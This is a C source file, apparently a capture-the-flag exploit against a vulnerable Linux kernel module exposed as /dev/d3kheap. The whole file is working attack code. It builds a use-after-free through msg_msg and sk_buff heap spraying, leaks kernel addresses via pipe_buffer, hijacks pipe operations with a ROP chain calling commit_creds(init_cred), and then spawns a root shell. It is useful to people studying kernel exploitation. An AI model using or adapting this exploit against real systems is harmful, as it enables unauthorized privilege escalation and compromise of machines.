1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472
| #define _GNU_SOURCE #include <err.h> #include <errno.h> #include <fcntl.h> #include <inttypes.h> #include <sched.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <net/if.h> #include <netinet/in.h> #include <sys/ipc.h> #include <sys/msg.h> #include <sys/socket.h> #include <sys/syscall.h> #include <stdint.h> #include <sys/mman.h> #include <signal.h> #include <sys/prctl.h>
#define MSG_COPY 040000 #define MSG_TAG 0xAAAAAAAA #define PRIMARY_MSG_TYPE 0x41 #define SECONDARY_MSG_TYPE 0x42
#define MSG_QUEUE_NUM 4096
#define PRIMARY_MSG_SIZE 96 #define SECONDARY_MSG_SIZE 0x400 #define VICTIM_MSG_TYPE 0x1337
#define SOCKET_NUM 32 #define SK_BUFF_NUM 128 #define PIPE_NUM 256
#define PUSH_RSI_POP_RSP_POP_4VAL_RET 0xffffffff812dbede #define INIT_CRED 0xffffffff82c6d580 #define COMMIT_CREDS 0xffffffff810d25c0 #define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81c00ff0 #define POP_RDI_RET 0xffffffff810938f0
void errExit(char *err_msg) { puts(err_msg); exit(-1); }
struct list_head { struct list_head *next, *prev; };
struct msg_msgseg { uint64_t next; };
struct msg_msg { struct list_head m_list; long m_type; size_t m_ts; void *next; void *security; };
struct pipe_buffer { uint64_t page; uint32_t offset, len; uint64_t ops; uint32_t flags; uint32_t padding; uint64_t private; };
struct pipe_buf_operations { uint64_t confirm; uint64_t release; uint64_t try_steal; uint64_t get; };
struct { long mtype; char mtext[0x1000 - sizeof(struct msg_msg) + 0x1000 - sizeof(struct msg_msgseg)]; } oob_msg;
size_t user_cs, user_ss, user_sp, user_rflags; void save_status() { __asm__( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;"); puts("[*]status has been saved."); }
struct { long mtype; char mtext[PRIMARY_MSG_SIZE - sizeof(struct msg_msg)]; } primary_msg;
struct { long mtype; char mtext[SECONDARY_MSG_SIZE - sizeof(struct msg_msg)]; } secondary_msg;
void print_hex(char *buf, int size) { int i; puts("======================================"); printf("data :\n"); for (i = 0; i < (size / 8); i++) { if (i % 2 == 0) { if (i / 2 < 10) { printf("%d ", i / 2); } else if (i / 2 < 100) { printf("%d ", i / 2); } else { printf("%d", i / 2); } } printf(" %16llx", *(size_t *)(buf + i * 8)); if (i % 2 == 1) { printf("\n"); } } puts("======================================"); }
void getShell() { if (getuid()) { printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n"); exit(-1); } printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n"); system("/bin/sh"); }
int fd;
void add() { ioctl(fd, 0x1234); }
void del() { ioctl(fd, 0xDEAD); }
int main() { save_status();
char *buf = malloc(0x4000); unsigned long *point_buf = malloc(0x4000); int victim_qid = -1; int sk_sockets[SOCKET_NUM][2]; int msqid[MSG_QUEUE_NUM]; char fake_secondary_msg[704]; struct msg_msg *nearby_msg; struct msg_msg *nearby_msg_prim; unsigned long victim_addr; unsigned long search_addr; unsigned long kernel_addr; unsigned long kernel_base; unsigned long kernel_offset; struct pipe_buffer *pipe_buf_ptr; int pipe_fd[PIPE_NUM][2]; struct pipe_buf_operations *ops_ptr; unsigned long *rop_chain;
for (int i = 0; i < SOCKET_NUM; i++) if (socketpair(AF_UNIX, SOCK_STREAM, 0, sk_sockets[i]) < 0) errExit("failed to create socket pair!");
fd = open("/dev/d3kheap", O_RDONLY); if (fd < 0) { puts("[*]open d3kheap error!"); exit(0); }
for (int i = 0; i < MSG_QUEUE_NUM; i++) { if ((msqid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) < 0) errExit("failed to create msg_queue!"); }
puts("\n\033[34m\033[1m[*] spray msg_msg, construct overlapping object\033[0m");
memset(&primary_msg, 0, sizeof(primary_msg)); memset(&secondary_msg, 0, sizeof(secondary_msg)); *(long *)&primary_msg = PRIMARY_MSG_TYPE; *(long *)&secondary_msg = SECONDARY_MSG_TYPE; *(int *)&primary_msg.mtext[0] = MSG_TAG; *(int *)&secondary_msg.mtext[0] = MSG_TAG;
add();
for (int i = 0; i < MSG_QUEUE_NUM; i++) { *(int *)&primary_msg.mtext[0] = MSG_TAG; *(int *)&primary_msg.mtext[4] = i; if (msgsnd(msqid[i], &primary_msg, sizeof(primary_msg) - 8, 0) < 0) errExit("failed to send primary msg!");
*(int *)&secondary_msg.mtext[0] = MSG_TAG; *(int *)&secondary_msg.mtext[4] = i; if (msgsnd(msqid[i], &secondary_msg, sizeof(secondary_msg) - 8, 0) < 0) errExit("failed to send secondary msg!");
if (i == 1024) del(); }
puts("\n\033[34m\033[1m[*] construct UAF\033[0m"); del();
((struct msg_msg *)fake_secondary_msg)->m_list.next = NULL; ((struct msg_msg *)fake_secondary_msg)->m_list.prev = NULL; ((struct msg_msg *)fake_secondary_msg)->m_type = NULL; ((struct msg_msg *)fake_secondary_msg)->m_ts = 0x1000 - sizeof(struct msg_msg); ((struct msg_msg *)fake_secondary_msg)->next = NULL; ((struct msg_msg *)fake_secondary_msg)->security = NULL;
for (int i = 0; i < SOCKET_NUM; i++) { for (int j = 0; j < SK_BUFF_NUM; j++) { if (write(sk_sockets[i][0], fake_secondary_msg, sizeof(fake_secondary_msg)) < 0) { errExit("failed to spray sk_buff!"); } } }
for (int i = 0; i < MSG_QUEUE_NUM; i++) { if (msgrcv(msqid[i], &secondary_msg, sizeof(secondary_msg) - 8, 1, MSG_COPY | IPC_NOWAIT) < 0) { printf("[+] victim qid: %d\n", i); victim_qid = i; } }
if (victim_qid == -1) errExit("failed to make the UAF in msg queue!"); for (int i = 0; i < SOCKET_NUM; i++) { for (int j = 0; j < SK_BUFF_NUM; j++) { if (read(sk_sockets[i][1], fake_secondary_msg, sizeof(fake_secondary_msg)) < 0) { errExit("failed to release sk_buff!"); } } }
puts("\033[32m\033[1m[+] UAF construction complete!\033[0m"); puts("\n\033[34m\033[1m[*] spray sk_buff to leak kheap addr\033[0m");
((struct msg_msg *)fake_secondary_msg)->m_list.next = NULL; ((struct msg_msg *)fake_secondary_msg)->m_list.prev = NULL; ((struct msg_msg *)fake_secondary_msg)->m_type = NULL; ((struct msg_msg *)fake_secondary_msg)->m_ts = 0x1000 - sizeof(struct msg_msg); ((struct msg_msg *)fake_secondary_msg)->next = NULL; ((struct msg_msg *)fake_secondary_msg)->security = NULL; for (int i = 0; i < SOCKET_NUM; i++) { for (int j = 0; j < SK_BUFF_NUM; j++) { if (write(sk_sockets[i][0], fake_secondary_msg, sizeof(fake_secondary_msg)) < 0) { errExit("failed to spray sk_buff!"); } } }
if (msgrcv(msqid[victim_qid], &oob_msg, sizeof(oob_msg) - 8, 1, MSG_COPY | IPC_NOWAIT) < 0) { errExit("failed to read victim msg!"); }
if (*(int *)&oob_msg.mtext[SECONDARY_MSG_SIZE] != MSG_TAG) errExit("failed to rehit the UAF object!");
nearby_msg = (struct msg_msg *)&oob_msg.mtext[(SECONDARY_MSG_SIZE - sizeof(struct msg_msg))];
printf("\033[32m\033[1m[+] addr of primary msg of msg nearby victim: \033[0m%p\n", nearby_msg->m_list.prev);
for (int i = 0; i < SOCKET_NUM; i++) { for (int j = 0; j < SK_BUFF_NUM; j++) { if (read(sk_sockets[i][1], fake_secondary_msg, sizeof(fake_secondary_msg)) < 0) { errExit("failed to release sk_buff!"); } } }
search_addr = (unsigned long *)nearby_msg->m_list.prev; search_addr = search_addr - 8;
((struct msg_msg *)fake_secondary_msg)->m_list.next = NULL; ((struct msg_msg *)fake_secondary_msg)->m_list.prev = NULL; ((struct msg_msg *)fake_secondary_msg)->m_type = NULL; ((struct msg_msg *)fake_secondary_msg)->m_ts = sizeof(oob_msg.mtext); ((struct msg_msg *)fake_secondary_msg)->next = search_addr; ((struct msg_msg *)fake_secondary_msg)->security = NULL; for (int i = 0; i < SOCKET_NUM; i++) { for (int j = 0; j < SK_BUFF_NUM; j++) { if (write(sk_sockets[i][0], fake_secondary_msg, sizeof(fake_secondary_msg)) < 0) { errExit("failed to spray sk_buff!"); } } } if (msgrcv(msqid[victim_qid], &oob_msg, sizeof(oob_msg), 1, MSG_COPY | IPC_NOWAIT) < 0) { errExit("failed to read victim msg!"); }
if (*(int *)&oob_msg.mtext[0x1000] != MSG_TAG) errExit("failed to rehit the UAF object!");
nearby_msg_prim = (struct msg_msg *)&oob_msg.mtext[0x1000 - sizeof(struct msg_msg)]; victim_addr = (unsigned long *)(nearby_msg_prim->m_list.next); victim_addr = victim_addr - 0x400;
printf("\033[32m\033[1m[+] addr of msg next to victim: \033[0m%p\n", nearby_msg_prim->m_list.next); printf("\033[32m\033[1m[+] addr of msg UAF object: \033[0m%p\n", victim_addr); for (int i = 0; i < SOCKET_NUM; i++) { for (int j = 0; j < SK_BUFF_NUM; j++) { if (read(sk_sockets[i][1], fake_secondary_msg, sizeof(fake_secondary_msg)) < 0) { errExit("failed to release sk_buff!"); } } }
puts("\n\033[34m\033[1m[*] spray pipe_buffer to leak kernel base\033[0m");
((struct msg_msg *)fake_secondary_msg)->m_list.next = victim_addr + 0x800; ((struct msg_msg *)fake_secondary_msg)->m_list.prev = victim_addr + 0x800; ((struct msg_msg *)fake_secondary_msg)->m_type = VICTIM_MSG_TYPE; ((struct msg_msg *)fake_secondary_msg)->m_ts = 1024 - 0x30; ((struct msg_msg *)fake_secondary_msg)->next = NULL; ((struct msg_msg *)fake_secondary_msg)->security = NULL;
for (int i = 0; i < SOCKET_NUM; i++) { for (int j = 0; j < SK_BUFF_NUM; j++) { if (write(sk_sockets[i][0], fake_secondary_msg, sizeof(fake_secondary_msg)) < 0) { errExit("failed to spray sk_buff!"); } } } if (msgrcv(msqid[victim_qid], &secondary_msg, sizeof(secondary_msg), VICTIM_MSG_TYPE, IPC_NOWAIT | MSG_NOERROR) < 0) { errExit("failed to read victim msg!"); }
for (int i = 0; i < PIPE_NUM; i++) { if (pipe(pipe_fd[i]) < 0) errExit("failed to create pipe!");
if (write(pipe_fd[i][1], "196082", 6) < 0) errExit("failed to write the pipe!"); } pipe_buf_ptr = (struct pipe_buffer *)&fake_secondary_msg; for (int i = 0; i < SOCKET_NUM; i++) { for (int j = 0; j < SK_BUFF_NUM; j++) { if (read(sk_sockets[i][1], &fake_secondary_msg, sizeof(fake_secondary_msg)) < 0) errExit("failed to release sk_buff!");
if (pipe_buf_ptr->ops > 0xffffffff81000000) { printf("\033[32m\033[1m[+] got pipe_buf_ops: \033[0m%p\n", pipe_buf_ptr->ops); kernel_addr = (unsigned long *)(pipe_buf_ptr->ops); kernel_offset = (kernel_addr - 0xffffffff8203fe40); kernel_base = 0xffffffff81000000 + kernel_offset; } } } printf("\033[32m\033[1m[+] kernel base: \033[0m%p \033[32m\033[1moffset: \033[0m%p\n", kernel_base, kernel_addr); puts("\n\033[34m\033[1m[*] hijack the ops of pipe_buffer, gain root privilege\033[0m");
unsigned long pop_rdi = 0xffffffff810938f0 + kernel_offset; unsigned long init_cred = 0xffffffff82c6d580 + kernel_offset; unsigned long commit_cred = 0xffffffff810d25c0 + kernel_offset; unsigned long swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00ff0 + kernel_offset; unsigned long push_rsi_pop_rsp_pop_4reg_ret = 0xffffffff812dbede + kernel_offset;
pipe_buf_ptr->page = *(uint64_t *)"196082"; pipe_buf_ptr->ops = victim_addr + 0x100;
ops_ptr = (struct pipe_buf_operations *)&fake_secondary_msg[0x100]; ops_ptr->release = push_rsi_pop_rsp_pop_4reg_ret;
int rop = 0; rop_chain = (uint64_t *)&fake_secondary_msg[0x20]; rop_chain[rop++] = pop_rdi; rop_chain[rop++] = init_cred; rop_chain[rop++] = commit_cred; rop_chain[rop++] = swapgs_restore_regs_and_return_to_usermode + 0x16; rop_chain[rop++] = 0; rop_chain[rop++] = 0; rop_chain[rop++] = getShell; rop_chain[rop++] = user_cs; rop_chain[rop++] = user_rflags; rop_chain[rop++] = user_sp; rop_chain[rop++] = user_ss;
for (int i = 0; i < SOCKET_NUM; i++) { for (int j = 0; j < SK_BUFF_NUM; j++) { if (write(sk_sockets[i][0], fake_secondary_msg, sizeof(fake_secondary_msg)) < 0) { errExit("failed to spray sk_buff!"); } } }
for (int i = 0; i < PIPE_NUM; i++) { close(pipe_fd[i][0]); close(pipe_fd[i][1]); }
return 0; }
|